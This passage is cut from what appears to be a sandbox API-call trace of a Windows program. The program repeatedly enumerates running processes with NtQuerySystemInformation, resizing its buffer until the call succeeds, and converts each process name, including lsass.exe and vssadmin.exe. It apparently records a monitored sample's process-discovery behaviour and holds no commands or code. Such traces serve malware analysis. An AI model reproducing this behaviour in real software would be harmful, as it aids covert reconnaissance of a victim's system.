SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.505] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0179.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.506] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0179.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.506] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0179.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.506] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0179.506] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.507] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0179.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.507] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0179.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.507] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0179.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.507] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0179.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.508] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0179.508] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.508] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0179.508] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.508] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0179.508] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.509] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0179.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0179.509] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0179.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0179.509] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0179.509] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0840 [0179.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0179.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1e40 [0179.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0179.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1df8 [0179.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0179.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0179.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0179.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e88 [0179.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0179.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0179.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0179.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0179.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0179.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1de0 [0179.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0179.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1de0 [0179.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0179.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e58 [0179.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0179.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0179.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0179.510] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f06a0 [0179.510] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0179.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0179.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0179.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0179.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0179.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0179.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0179.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0179.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e88 [0179.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0179.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0179.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0179.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0179.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0179.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0179.511] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0179.511] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1e40 [0179.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0179.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0179.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0179.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d17f8 [0179.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0179.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cc0c8 [0179.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0179.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d18d8 [0179.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0179.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1e40 [0179.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0179.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0179.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0179.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0179.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0179.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d18d8 [0179.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0179.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1838 [0179.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0179.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0179.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0179.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0179.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0179.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e88 [0179.512] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0179.512] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e88 [0179.513] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0179.513] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0179.513] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0179.513] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0179.513] Sleep (dwMilliseconds=0x64) [0180.175] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0180.175] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.176] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0180.176] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.176] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0180.176] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.176] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0180.176] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.176] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0180.176] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.177] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0180.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.177] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0180.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.177] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0180.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.177] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0180.177] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.178] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0180.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.178] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0180.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.178] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0180.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.178] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0180.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.179] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0180.179] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.179] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0180.179] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.179] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0180.179] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.180] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0180.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.180] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0180.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.180] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0180.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0180.181] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0180.181] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0180.181] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0180.181] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f0700 [0180.181] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0180.181] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1de0 [0180.181] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0180.181] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e40 [0180.181] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0180.181] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0180.181] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0180.181] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1de0 [0180.181] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0180.181] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0180.182] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0180.182] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e58 [0180.182] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0180.182] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1df8 [0180.182] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0180.182] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1de0 [0180.182] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0180.182] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1de0 [0180.182] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.182] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0180.182] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.182] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0180.182] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0180.182] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f0750 [0180.182] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.182] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0180.182] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.182] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0180.182] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.182] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0180.182] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.182] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0180.182] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.182] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0180.182] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.182] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0180.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.183] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0180.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.183] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0180.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0180.183] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0180.183] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", 